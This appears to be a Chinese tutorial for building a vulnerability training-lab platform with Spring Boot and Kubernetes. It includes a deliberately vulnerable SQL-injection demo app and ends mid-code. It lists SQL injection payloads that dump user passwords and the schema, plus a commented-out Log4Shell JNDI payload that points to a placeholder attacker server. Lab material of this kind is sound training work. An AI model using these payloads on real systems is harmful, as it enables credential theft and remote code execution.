                <li><code>' UNION SELECT null, username, password FROM users WHERE username='admin</code> (You might need to adjust column counts/types for a UNION based attack if the table structure was unknown)</li>
                <li><code>' UNION SELECT null, GROUP_CONCAT(table_name), null FROM information_schema.tables WHERE table_schema=DATABASE() -- </code> (H2 specific, might vary for other DBs)</li>
            </ul>
        </div>
        <div class="users-list" th:if="${users != null && !users.isEmpty()}">
            <h3>All Users in DB (Loaded Safely):</h3>
            <ul>
                <li th:each="user : ${users}">
                    ID: <span th:text="${user.id}"></span>,
                    Username: <span th:text="${user.username}"></span>,
                    Info: <span th:text="${user.info}"></span>
                </li>
            </ul>
        </div>
    </div>
    </body>
    </html>

    配置 application.properties (或 application.yml):

    在 src/main/resources/ 目录下创建。

    src/main/resources/application.properties:

    server.port=8081
    # H2 Database Console (optional, for local debugging)
    spring.h2.console.enabled=true
    spring.h2.console.path=/h2-console
    spring.h2.console.settings.trace=false
    spring.h2.console.settings.web-allow-others=false 
    # DataSource properties for H2 in-memory
    spring.datasource.url=jdbc:h2:mem:testdb;DB_CLOSE_DELAY=-1;DB_CLOSE_ON_EXIT=FALSE
    spring.datasource.driverClassName=org.h2.Driver
    spring.datasource.username=sa
    spring.datasource.password=
    spring.jpa.database-platform=org.hibernate.dialect.H2Dialect
    # Spring Boot will automatically run schema.sql and data.sql
    spring.sql.init.mode=always
    server.forward-headers-strategy=framework
    logging.level.org.springframework.web=TRACE
    logging.level.org.apache.coyote.http11.Http11InputBuffer=DEBUG
    logging.level.com.chenluo.vulnsqliexamplejava.controller=DEBUG

    在本地运行和测试应用:

    在 vuln-sqli-example-java 模块的根目录运行:

    mvn spring-boot:run

    打开浏览器访问 http://localhost:8081/。

    尝试搜索,例如输入 alice。

    尝试 SQL 注入,例如输入 ’ OR ‘1’=‘1 或 admin’ --。

    可以访问 http://localhost:8081/h2-console (使用 JDBC URL: jdbc:h2:mem:testdb, User: sa, Password: (empty)) 查看数据库。

    创建 Dockerfile:

    在总模块的根目录下创建 dockerfiles/vuln-sqli-example-java.Dockerfile

    # Stage 1: 使用 maven 构建应用
    FROM eclipse-temurin:17-jdk-jammy as builder
    WORKDIR /app
    # 复制整个目录
    COPY . .
    # 导航到指定模块进行构建
    # 确保路径正确
    WORKDIR /app/vulnerable-apps/vuln-sqli-example-java
    RUN ../../mvnw clean package -DskipTests
    # Stage 2: 创建运行时镜像
    FROM eclipse-temurin:17-jre-jammy
    WORKDIR /app
    # 从 builder 层复制可执行 jar 包
    COPY --from=builder /app/vulnerable-apps/vuln-sqli-example-java/target/vuln-sqli-example-java.jar app.jar
    EXPOSE 8080
    ENTRYPOINT ["java", "-jar", "app.jar"]

    注意:为了使 mvnw (Maven Wrapper) 可执行,如果项目是通过 Spring Initializr 创建的,它应该存在。如果不是,您可能需要使用 mvn 命令(确保构建环境中安装了 Maven)或者在提交时确保 mvnw 的执行权限 (chmod +x mvnw)。为了简化,Dockerfile 直接使用了 ./mvnw。

    构建 Docker 镜像:

    在总模块的根目录运行

    docker build -t tianshuvuln/vuln-sqli-example-java:1.1.0 -f dockerfiles/vuln-sqli-example-java.Dockerfile .

    运行镜像:

    docker run -d -p 8082:8081 --name test_example tianshuvuln/vuln-sqli-example-java:1.1.0

    访问 http://localhost:8082/。进行测试。

    QQ_1747103715364

    测试完毕后停止并移除容器:

    docker stop test_example
    docker rm test_example

# 步骤 1.2: 开发 vulnerability-definition-service (第一个平台核心微服务)。

创建 Maven 模块 vulnerability-definition-service:

在 tian-shu-platform/platform-services/ 目录下创建一个名为 vulnerability-definition-service 的新模块(使用 idea 直接创建)。

在该目录下创建 pom.xml 文件。

tian-shu-platform/platform-services/vulnerability-definition-service/pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>com.tianshu.lab</groupId>
        <artifactId>platform-services-parent</artifactId>
        <version>0.0.1-SNAPSHOT</version>
        <relativePath>../pom.xml</relativePath>
    </parent>
    <artifactId>vulnerability-definition-service</artifactId>
    <name>PlatformService - Vulnerability Definition Service</name>
    <description>Service to manage definitions of vulnerabilities.</description>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-actuator</artifactId> </dependency>
        <dependency> <groupId>com.fasterxml.jackson.dataformat</groupId>
            <artifactId>jackson-dataformat-yaml</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-devtools</artifactId>
            <scope>runtime</scope>
            <optional>true</optional>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
    </dependencies>
    <build>
        <finalName>${project.artifactId}</finalName>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>
  • 创建主应用类

    package com.chenluo.vulnerabilitydefinitionservice;
    import com.chenluo.vulnerabilitydefinitionservice.config.VulnerabilityDefinitionsConfig;
    import org.springframework.boot.SpringApplication;
    import org.springframework.boot.autoconfigure.SpringBootApplication;
    import org.springframework.boot.context.properties.EnableConfigurationProperties;
    @SpringBootApplication
    @EnableConfigurationProperties(VulnerabilityDefinitionsConfig.class) // Enable YAML config class
    public class VulnerabilityDefinitionServiceApplication {
        public static void main(String[] args) {
            SpringApplication.run(VulnerabilityDefinitionServiceApplication.class, args);
        }
    }

    创建数据模型 (POJO):

    在 src/main/java/com/tianshu/lab/platform/vulnerabilitydefinitionservice/model 目录下创建。

    package com.chenluo.vulnerabilitydefinitionservice.model;
    import java.util.List;
    import java.util.Objects;
    public class VulnerabilityDefinition {
        private String id;
        private String name;
        private String description;
        private String category; // e.g., "SQL Injection", "XSS", "Deserialization"
        private String difficulty; // e.g., "Easy", "Medium", "Hard"
        private String dockerImageName; // Full name like yourusername/vuln-sqli-example-java:0.1.0
        private int containerPort; // Port the app inside the container listens on
        private String exploitationGuide; // Brief guide or link to one
        private List<String> tags;
        private String flagFormat; // Optional: e.g., "flag{...}"
        // Constructors
        public VulnerabilityDefinition() {
        }
        public VulnerabilityDefinition(String id, String name, String description, String category, String difficulty, String dockerImageName, int containerPort, String exploitationGuide, List<String> tags, String flagFormat) {
            this.id = id;
            this.name = name;
            this.description = description;
            this.category = category;
            this.difficulty = difficulty;
            this.dockerImageName = dockerImageName;
            this.containerPort = containerPort;
            this.exploitationGuide = exploitationGuide;
            this.tags = tags;
            this.flagFormat = flagFormat;
        }
        // Getters and Setters
        public String getId() { return id; }
        public void setId(String id) { this.id = id; }
        public String getName() { return name; }
        public void setName(String name) { this.name = name; }
        public String getDescription() { return description; }
        public void setDescription(String description) { this.description = description; }
        public String getCategory() { return category; }
        public void setCategory(String category) { this.category = category; }
        public String getDifficulty() { return difficulty; }
        public void setDifficulty(String difficulty) { this.difficulty = difficulty; }
        public String getDockerImageName() { return dockerImageName; }
        public void setDockerImageName(String dockerImageName) { this.dockerImageName = dockerImageName; }
        public int getContainerPort() { return containerPort; }
        public void setContainerPort(int containerPort) { this.containerPort = containerPort; }
        public String getExploitationGuide() { return exploitationGuide; }
        public void setExploitationGuide(String exploitationGuide) { this.exploitationGuide = exploitationGuide; }
        public List<String> getTags() { return tags; }
        public void setTags(List<String> tags) { this.tags = tags; }
        public String getFlagFormat() { return flagFormat; }
        public void setFlagFormat(String flagFormat) { this.flagFormat = flagFormat; }
        @Override
        public boolean equals(Object o) {
            if (this == o) return true;
            if (o == null || getClass() != o.getClass()) return false;
            VulnerabilityDefinition that = (VulnerabilityDefinition) o;
            return Objects.equals(id, that.id);
        }
        @Override
        public int hashCode() {
            return Objects.hash(id);
        }
        @Override
        public String toString() {
            return "VulnerabilityDefinition{" +
                    "id='" + id + '\'' +
                    ", name='" + name + '\'' +
                    ", dockerImageName='" + dockerImageName + '\'' +
                    '}';
        }
    }

    创建配置类来加载 YAML 定义的漏洞:

    src/main/java/com/tianshu/lab/platform/vulnerabilitydefinitionservice/config 目录下创建。

    VulnerabilityDefinitionsConfig.java:

    package com.chenluo.vulnerabilitydefinitionservice.config;
    import com.chenluo.vulnerabilitydefinitionservice.model.VulnerabilityDefinition;
    import org.springframework.boot.context.properties.ConfigurationProperties;
    import org.springframework.context.annotation.Configuration; // Or @Component
    import java.util.ArrayList;
    import java.util.List;
    @ConfigurationProperties(prefix = "platform") // Binds properties under 'platform'
    public class VulnerabilityDefinitionsConfig {
        private List<VulnerabilityDefinition> vulnerabilities = new ArrayList<>();
        public List<VulnerabilityDefinition> getVulnerabilities() {
            return vulnerabilities;
        }
        public void setVulnerabilities(List<VulnerabilityDefinition> vulnerabilities) {
            this.vulnerabilities = vulnerabilities;
        }
    }
    • @ConfigurationProperties 注解将配置文件中以 platform 为前缀的属性绑定到当前类的属性中。

    创建 application.yml (或 .properties) 来定义漏洞:

    在 src/main/resources/ 目录下创建 application.yml。

    src/main/resources/application.yml:

    server:
      port: 8081 # Port for this service
    spring:
      application:
        name: vulnerability-definition-service
    platform:
      vulnerabilities:
        - id: "sqli-java-001"
          name: "Simple SQL Injection (Java)"
          description: "A basic SQL injection vulnerability in a user search form, built with Spring Boot and H2."
          category: "SQL Injection"
          difficulty: "Easy"
          dockerImageName: "tianshuvuln/vuln-sqli-example-java:0.1.4"
          containerPort: 8081 # The port exposed by vuln-sqli-example-java container
          exploitationGuide: "Try injecting SQL payloads like ' OR '1'='1 in the username field. The application shows the executed SQL."
          tags:
            - "java"
            - "sql-injection"
            - "spring-boot"
            - "h2"
          flagFormat: "flag{example_sql_flag}" # Example
        # Add more vulnerability definitions here later
        # - id: "log4shell-001"
        #   name: "Log4Shell (CVE-2021-44228)"
        #   description: "Remote Code Execution via Log4j JNDI lookup."
        #   category: "RCE"
        #   difficulty: "Critical"
        #   dockerImageName: "tianshuvuln/vuln-log4shell-app:0.1.0"
        #   containerPort: 8080
        #   exploitationGuide: "Trigger a JNDI lookup via a crafted log message. Example: ${jndi:ldap://attacker-server/a}"
        #   tags:
        #     - "java"
        #     - "log4j"
        #     - "rce"
        #     - "jndi"
        #   flagFormat: "flag{log4j_rce_pwned}"

    创建服务类 (Repository/Service Layer):

    在 src/main/java/com/tianshu/lab/platform/vulnerabilitydefinitionservice/service 目录下创建。

    DefinitionService.java:

    package com.chenluo.vulnerabilitydefinitionservice.service;
    import com.chenluo.vulnerabilitydefinitionservice.config.VulnerabilityDefinitionsConfig;
    import com.chenluo.vulnerabilitydefinitionservice.model.VulnerabilityDefinition;
    import org.springframework.beans.factory.annotation.Autowired;
    import org.springframework.stereotype.Service;
    import jakarta.annotation.PostConstruct; // Note: jakarta namespace for Spring Boot 3+
    import java.util.List;
    import java.util.Map;
    import java.util.Optional;
    import java.util.concurrent.ConcurrentHashMap;
    import java.util.stream.Collectors;
    @Service
    public class DefinitionService {
        private final VulnerabilityDefinitionsConfig definitionsConfig;
        private final Map<String, VulnerabilityDefinition> definitionMap = new ConcurrentHashMap<>();
        @Autowired
        public DefinitionService(VulnerabilityDefinitionsConfig definitionsConfig) {
            this.definitionsConfig = definitionsConfig;
        }
        @PostConstruct
        public void init() {
            if (definitionsConfig.getVulnerabilities() != null) {
                definitionsConfig.getVulnerabilities().forEach(def -> definitionMap.put(def.getId(), def));
                System.out.println("Loaded " + definitionMap.size() + " vulnerability definitions.");
            } else {
                System.out.println("No vulnerability definitions found in configuration.");
            }
        }
        public List<VulnerabilityDefinition> getAllDefinitions() {
            return List.copyOf(definitionMap.values()); // Return an unmodifiable list
        }
        public Optional<VulnerabilityDefinition> getDefinitionById(String id) {
            return Optional.ofNullable(definitionMap.get(id));
        }
        // Later, methods to add/update/delete definitions if we move to a dynamic store
    }

    线程安全的定义存储结构:

    private final Map<String, VulnerabilityDefinition> definitionMap = new ConcurrentHashMap<>();

    采用 ConcurrentHashMap ,实现线程安全的数据存储。

    用于将漏洞定义 id 为 key 快速索引存储

    比 List 查询更高效,避免 O (n) 查找。

    初始化数据加载逻辑:

    @PostConstruct
    public void init() {
        if (definitionsConfig.getVulnerabilities() != null) {
            definitionsConfig.getVulnerabilities().forEach(def -> definitionMap.put(def.getId(), def));
            System.out.println("Loaded " + definitionMap.size() + " vulnerability definitions.");
        } else {
            System.out.println("No vulnerability definitions found in configuration.");
        }
    }

    @PostConstruct :注解在 Spring 容器初始化完成、依赖注入完成后执行(生命周期钩子)。

    加载配置中的漏洞列表 definitionsConfig.getVulnerabilities()

    将其转化为 Map<id, definition> 存入内存。

    提供系统启动时的控制台日志反馈。

    创建 REST Controller:

    在 src/main/java/com/tianshu/lab/platform/vulnerabilitydefinitionservice/controller 目录下创建。

    DefinitionController.java:

    package com.chenluo.vulnerabilitydefinitionservice.controller;
    import com.chenluo.vulnerabilitydefinitionservice.model.VulnerabilityDefinition;
    import com.chenluo.vulnerabilitydefinitionservice.service.DefinitionService;
    import org.springframework.beans.factory.annotation.Autowired;
    import org.springframework.http.ResponseEntity;
    import org.springframework.web.bind.annotation.GetMapping;
    import org.springframework.web.bind.annotation.PathVariable;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RestController;
    import java.util.List;
    @RestController
    @RequestMapping("/api/v1/definitions")
    public class DefinitionController {
        private final DefinitionService definitionService;
        @Autowired
        public DefinitionController(DefinitionService definitionService) {
            this.definitionService = definitionService;
        }
        @GetMapping
        public List<VulnerabilityDefinition> getAllDefinitions() {
            return definitionService.getAllDefinitions();
        }
        @GetMapping("/{id}")
        public ResponseEntity<VulnerabilityDefinition> getDefinitionById(@PathVariable("id") String id) {
            return definitionService.getDefinitionById(id)
                    .map(ResponseEntity::ok) // If present, wrap in ResponseEntity.ok()
                    .orElse(ResponseEntity.notFound().build()); // If not present, return 404
        }
    }

    在本地运行和测试服务:

    在 vulnerability-definition-service 模块的根目录运行:

    mvn spring-boot:run

    打开浏览器或 Postman/Insomnia 测试 API 端点:

    http://localhost:8081/api/v1/definitions

    GET http://localhost:8081/api/v1/definitions (应该返回 sqli-java-001 的定义)

    GET http://localhost:8081/api/v1/definitions/sqli-java-001 (应该返回单个定义)

    创建 Dockerfile:

    在总模块的根目录下创建 dockerfiles/vulnerability-definition-service.Dockerfile。

    # Stage 1: Build the application using Maven
    FROM eclipse-temurin:17-jdk-jammy as builder
    WORKDIR /build_workspace
    # Copy the entire project context (from tian-shu-platform root)
    COPY . .
    # Build the specific module.
    # Maven will find parent POMs because the whole project is copied.
    # Using -pl to specify the project to build and -am to also build its dependencies (including parent POMs if they are part of the reactor)
    # 'install' the parent poms and any shared library modules first, then package the specific service
    RUN ./mvnw clean install -N
    RUN ./mvnw clean install -pl platform-services/pom.xml -am
    # Now package the specific service
    RUN ./mvnw package -pl platform-services/vulnerability-definition-service -DskipTests
    # Stage 2: Create the runtime image
    FROM eclipse-temurin:17-jre-jammy
    WORKDIR /app
    # Copy the executable JAR from the builder stage
    # The path to the JAR needs to be correct based on where Maven puts it.
    COPY --from=builder /build_workspace/platform-services/vulnerability-definition-service/target/vulnerability-definition-service.jar app.jar
    EXPOSE 8081
    ENTRYPOINT ["java", "-jar", "app.jar"]

    在总模块的根目录运行:

    docker build -t tianshuvuln/vulnerability-definition-service:0.1.0 dockerfiles/vulnerability-definition-service.Dockerfile

    运行 mvn spring-boot:run。

    访问 http://localhost/definitions/api/v1/definitions。

# 步骤 1.3 将 vulnerability-definition-service 部署到本地 Kubernetes 集群

本地 Kubernetes 集群无法直接访问您本地构建的 Docker 镜像(例如,如果您使用的是多节点的 Minikube 集群,或者某些 K8s 配置),您需要将镜像推送到一个 K8s 集群可以访问的镜像仓库。如果您使用的是 Docker Hub:

# 确保登录: docker login  
  docker push tianshuVuln/vulnerability-definition-service:0.1.0

创建 Kubernetes 部署 (Deployment) YAML 文件:

tian-shu-platform/kubernetes-manifests/platform/ 目录下创建一个新文件, vulnerability-definition-service-deployment.yaml

vulnerability-definition-service-deployment.yaml:

apiVersion: apps/v1
kind: Deployment
metadata:
  name: vuln-def-service-deployment # 名称可以自定义
  labels:
    app: vulnerability-definition-service # 标签,用于 Service 选择
spec:
  replicas: 1 # 初期我们先用 1 个副本
  selector:
    matchLabels:
      app: vulnerability-definition-service # 需要与上面定义的标签一致
  template: # Pod 模板
    metadata:
      labels:
        app: vulnerability-definition-service # Pod 的标签
    spec:
      containers:
        - name: vuln-def-service-container
          # 实际用户名或前缀
          image: tianshuvuln/vulnerability-definition-service:0.1.4
          imagePullPolicy: Always # 如果本地有就不拉取,或者设为 Always 强制拉取
          ports:
            - containerPort: 8081 # 容器内部应用监听的端口 (与 application.yml 中一致)
          # (可选) 健康检查
          # livenessProbe:
          #   httpGet:
          #     path: /actuator/health/liveness
          #     port: 8081
          #   initialDelaySeconds: 30 # 容器启动后等待 30 秒开始探测
          #   periodSeconds: 10       # 每 10 秒探测一次
          # readinessProbe:
          #   httpGet:
          #     path: /actuator/health/readiness
          #     port: 8081
          #   initialDelaySeconds: 15
          #   periodSeconds: 5
          # (可选) 资源限制
          # resources:
          #   limits:
          #     memory: "512Mi"
          #     cpu: "500m" # 0.5 CPU core
          #   requests:
          #     memory: "256Mi"
          #     cpu: "250m"

imagePullPolicy: IfNotPresent 表示如果镜像在节点本地已存在,则不从仓库拉取。对于开发,这通常可以;对于生产,Always 更常见,以确保使用的是最新推送的版本。

创建 Kubernetes 服务 (Service) YAML 文件:

服务用于暴露 Deployment 中的 Pod,使其可以从集群内部或外部访问。

在 tian-shu-platform/kubernetes-manifests/platform/ 目录下创建 vulnerability-definition-service-svc.yaml。

vulnerability-definition-service-svc.yaml:

apiVersion: v1
kind: Service
metadata:
  name: vuln-def-service-svc # 服务名称
spec:
  type: ClusterIP
  selector:
    app: vulnerability-definition-service # 选择器,需要匹配 Deployment 中 Pod 的标签
  ports:
    - protocol: TCP
      port: 8081       # Service 在集群内部监听的端口 (可以与 targetPort 不同)
      targetPort: 8081 # Pod 容器实际监听的端口
      # nodePort: 30081 # 可选:指定一个固定的 NodePort (范围通常是 30000-32767),不指定会自动分配

应用:

l
minikube start
kubectl apply -f vulnerability-definition-service-deployment.yaml  
kubectl apply -f vulnerability-definition-service-svc.yaml

检查部署状态:

检查 Deployment

kubectl get deployments
# 查看详细信息和事件
kubectl describe deployment vuln-def-service-deployment
# 根据标签查找 Pod
kubectl get pods -l app=vulnerability-definition-service

检查 services

kubectl get services vuln-def-service-svc
kubectl describe service vuln-def-service-svc

获取 NodePort:

kubectl get svc vuln-def-service-svc 
    #  为服务 vuln-def-service-svc 启动隧道。windows 可能不用
    minikube service vuln-def-service-svc

访问 http://127.0.0.1:57709/api/v1/definitions

# 步骤 1.4: 开发 lab-orchestration-service (初步版本)

靶场平台的核心编排器。它会接收用户的请求(例如 “启动 SQL 注入漏洞环境”),然后与 Kubernetes API 交互,在 K8s 集群中动态地创建和管理这些漏洞环境的 Pod 和 Service。

初期目标:

创建一个新的 Spring Boot 微服务 lab-orchestration-service。

它能够调用 vulnerability-definition-service 来获取特定漏洞的定义(特别是 Docker 镜像名称和容器端口)。

它能够使用 Kubernetes 的 Java 客户端库(例如 Fabric8 Kubernetes Client 或 Spring Cloud Kubernetes Client)来为一个特定的漏洞定义动态地创建一个新的 Deployment。

为这个 Deployment 动态地创建一个新的 Service (类型为 NodePort) 以便外部访问。

返回新创建的漏洞环境的访问 URL。

创建 Maven 模块 lab-orchestration-service:

tian-shu-platform/platform-services/ 目录下创建一个名为 lab-orchestration-service 的新目录。

在该目录下创建 pom.xml 文件。

tian-shu-platform/platform-services/lab-orchestration-service/pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>com.tianshu.lab</groupId>
        <artifactId>platform-services-parent</artifactId>
        <version>0.0.1-SNAPSHOT</version>
        <relativePath>../pom.xml</relativePath>
    </parent>
    <artifactId>lab-orchestration-service</artifactId>
    <name>PlatformService - Lab Orchestration Service</name>
    <description>Service to orchestrate (launch, stop) vulnerability lab environments in Kubernetes.</description>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-actuator</artifactId>
        </dependency>
        <dependency>
            <groupId>io.fabric8</groupId>
            <artifactId>kubernetes-client</artifactId>
        </dependency>
        <dependency>
            <groupId>io.fabric8</groupId>
            <artifactId>kubernetes-model-apps</artifactId> </dependency>
        <dependency>
            <groupId>org.springframework.cloud</groupId>
            <artifactId>spring-cloud-starter-openfeign</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-devtools</artifactId>
            <scope>runtime</scope>
            <optional>true</optional>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>
    <build>
        <finalName>${project.artifactId}</finalName>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>
</project>

创建 Spring Boot 主应用类:

src/main/java/com/tianshu/lab/platform/laborchestrationservice 目录下创建主类。

LabOrchestrationServiceApplication.java:

package com.chenluo.laborchestrationservice;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.cloud.openfeign.EnableFeignClients;
@SpringBootApplication
@EnableFeignClients
public class LabOrchestrationServiceApplication {
    public static void main(String[] args) {
       SpringApplication.run(LabOrchestrationServiceApplication.class, args);
    }
}

配置 application.yml (或 .properties):

在 src/main/resources/ 目录下创建 application.yml。

src/main/resources/application.yml:

server:
  port: 8082 # Port for this service
spring:
  application:
    name: lab-orchestration-service
platform:
  ingress:
    base-url: http://localhost
vulnerability-definition-service:
  url: ${VULNERABILITY_DEFINITION_SERVICE_URL:http://localhost:8081} # Default for local if env var not present
minikube:
  ip: ${MINIKUBE_IP_ENV:192.168.49.2}
# Kubernetes client configuration (Fabric8 client usually auto-configures from ~/.kube/config or in-cluster service account)
# No explicit K8s client config needed for Fabric8 usually, it discovers automatically.
# For Spring Cloud Kubernetes, you might need:
# spring:
#   cloud:
#     kubernetes:
#       client:
#         namespace: default # Or some other namespace where labs will be launched
#       discovery:
#         enabled: false # If not using Spring Cloud K8s for service discovery within this app

在 src/main/java/com/tianshu/lab/platform/laborchestrationservice/model 目录下创建。

VulnerabilityDefinition.java (在 lab-orchestration-service 模块中):

package com.chenluo.laborchestrationservice.model;
import java.util.List;
import java.util.Objects;
public class VulnerabilityDefinition {
    private String id;
    private String name;
    private String dockerImageName;
    private int containerPort;
    // Add other fields if needed by orchestration logic, e.g., environment variables, resource requests/limits from definition
    public VulnerabilityDefinition() {
    }
    public String getId() { return id; }
    public void setId(String id) { this.id = id; }
    public String getName() { return name; }
    public void setName(String name) { this.name = name; }
    public String getDockerImageName() { return dockerImageName; }
    public void setDockerImageName(String dockerImageName) { this.dockerImageName = dockerImageName; }
    public int getContainerPort() { return containerPort; }
    public void setContainerPort(int containerPort) { this.containerPort = containerPort; }
    @Override
    public boolean equals(Object o) {
        if (this == o) return true;
        if (o == null || getClass() != o.getClass()) return false;
        VulnerabilityDefinition that = (VulnerabilityDefinition) o;
        return Objects.equals(id, that.id);
    }
    @Override
    public int hashCode() {
        return Objects.hash(id);
    }
}

同时,我们还需要一个模型来返回给前端,表示已启动的靶场环境信息。

LabInstanceInfo.java:

package com.chenluo.laborchestrationservice.model;
public class LabInstanceInfo {
    private String instanceId; // e.g., k8s deployment name or a unique ID
    private String vulnerabilityId;
    private String accessUrl; // URL to access the lab
    private String status;
    public LabInstanceInfo(String instanceId, String vulnerabilityId, String accessUrl, String status) {
        this.instanceId = instanceId;
        this.vulnerabilityId = vulnerabilityId;
        this.accessUrl = accessUrl;
        this.status = status;
    }
    // Getters and Setters
    public String getInstanceId() { return instanceId; }
    public void setInstanceId(String instanceId) { this.instanceId = instanceId; }
    public String getVulnerabilityId() { return vulnerabilityId; }
    public void setVulnerabilityId(String vulnerabilityId) { this.vulnerabilityId = vulnerabilityId; }
    public String getAccessUrl() { return accessUrl; }
    public void setAccessUrl(String accessUrl) { this.accessUrl = accessUrl; }
    public String getStatus() { return status; }
    public void setStatus(String status) { this.status = status; }
}

创建 Feign 客户端接口 (用于调用 vulnerability-definition-service):

在 src/main/java/com/tianshu/lab/platform/laborchestrationservice/client 目录下创建。

VulnerabilityDefinitionClient.java:

package com.chenluo.laborchestrationservice.client;
import com.chenluo.laborchestrationservice.model.VulnerabilityDefinition;
import org.springframework.cloud.openfeign.FeignClient;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import java.util.List;
// The 'name' attribute can be a logical name, if using service discovery with Spring Cloud Kubernetes.
// For now, with a direct URL, it's more of an identifier.
// The 'url' attribute points to where the vulnerability-definition-service is accessible.
// This URL will be taken from application.yml property: ${vulnerability-definition-service.url}
@FeignClient(name = "vulnerability-definition-client", url = "${vulnerability-definition-service.url}")
public interface VulnerabilityDefinitionClient {
    @GetMapping("/api/v1/definitions")
    List<VulnerabilityDefinition> getAllDefinitions(); // Not strictly needed for launch, but good for other ops
    @GetMapping("/api/v1/definitions/{id}")
    ResponseEntity<VulnerabilityDefinition> getDefinitionById(@PathVariable("id") String id);
}

创建 Kubernetes 服务类 (封装与 K8s API 的交互):

这个类将使用 Fabric8 Kubernetes Client。

src/main/java/com/tianshu/lab/platform/laborchestrationservice/service 目录下创建。

KubernetesService.java:

package com.chenluo.laborchestrationservice.service;
import com.chenluo.laborchestrationservice.model.VulnerabilityDefinition;
import io.fabric8.kubernetes.api.model.IntOrString;
import io.fabric8.kubernetes.api.model.Service;
import io.fabric8.kubernetes.api.model.ServiceBuilder;
import io.fabric8.kubernetes.api.model.ServicePort;
import io.fabric8.kubernetes.api.model.ServicePortBuilder;
import io.fabric8.kubernetes.api.model.apps.Deployment;
import io.fabric8.kubernetes.api.model.apps.DeploymentBuilder;
import io.fabric8.kubernetes.api.model.networking.v1.HTTPIngressPath;
import io.fabric8.kubernetes.api.model.networking.v1.HTTPIngressPathBuilder;
import io.fabric8.kubernetes.api.model.networking.v1.Ingress;
import io.fabric8.kubernetes.api.model.networking.v1.IngressBackend;
import io.fabric8.kubernetes.api.model.networking.v1.IngressBackendBuilder;
import io.fabric8.kubernetes.api.model.networking.v1.IngressBuilder;
import io.fabric8.kubernetes.api.model.networking.v1.IngressRule;
import io.fabric8.kubernetes.api.model.networking.v1.IngressRuleBuilder;
import io.fabric8.kubernetes.api.model.networking.v1.IngressServiceBackend;
import io.fabric8.kubernetes.api.model.networking.v1.IngressServiceBackendBuilder;
import io.fabric8.kubernetes.api.model.networking.v1.ServiceBackendPort;
import io.fabric8.kubernetes.api.model.networking.v1.ServiceBackendPortBuilder;
import io.fabric8.kubernetes.client.KubernetesClient;
import io.fabric8.kubernetes.client.KubernetesClientBuilder;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.stereotype.Component;
import java.util.Collections;
import java.util.HashMap;
import java.util.Map;
import java.util.UUID;
@Component
public class KubernetesService {
    private static final Logger logger = LoggerFactory.getLogger(KubernetesService.class);
    private final KubernetesClient client;
    private final String K8S_NAMESPACE = "default"; // Or get from config
    public static final String LAB_INGRESS_PATH_PREFIX = "/labs/"; // Define a common prefix for lab ingresses
    public KubernetesService() {
        this.client = new KubernetesClientBuilder().build();
        logger.info("Kubernetes client initialized. Namespace: {}", client.getNamespace());
    }
    /**
     * Launch a lab environment by dynamically creating Deployment, Service, and Ingress..
     * @param definition The vulnerability definition.
     * @param userId The user ID.
     * @return The instanceId (deploymentName) if successful, or an error indicator.
     * The access URL construction will now be based on Ingress.
     */
    public String launchLabEnvironment(VulnerabilityDefinition definition, String userId) {
      // 生成实例 ID,防止用户同名冲突
        String instanceSuffix = userId.replaceAll("[^a-zA-Z0-9]", "-") + "-" + UUID.randomUUID().toString().substring(0, 8);
        String deploymentName = "lab-" + definition.getId().toLowerCase() + "-" + instanceSuffix;
        String serviceName = deploymentName + "-svc";
        String ingressName = deploymentName + "-ing";
        String appLabelValue = deploymentName; 
        logger.info("Attempting to launch lab: id={}, image={}, deploymentName={}, serviceName={}, ingressName={}",
                definition.getId(), definition.getDockerImageName(), deploymentName, serviceName, ingressName);
        Map<String, String> labels = new HashMap<>();
        labels.put("app", appLabelValue);
        labels.put("vulnId", definition.getId());
        labels.put("userId", userId);
        labels.put("instanceType", "lab-environment");
        // 1. Create Deployment (same as before)
        Deployment deployment = new DeploymentBuilder()
                // ... (deployment definition remains the same as before) ...
                 .withNewMetadata()
                     .withName(deploymentName)
                     .withNamespace(K8S_NAMESPACE)
                     .withLabels(labels)
                 .endMetadata()
                 .withNewSpec()
                     .withReplicas(1)
                     .withNewSelector()
                         .addToMatchLabels("app", appLabelValue)
                     .endSelector()
                     .withNewTemplate()
                         .withNewMetadata()
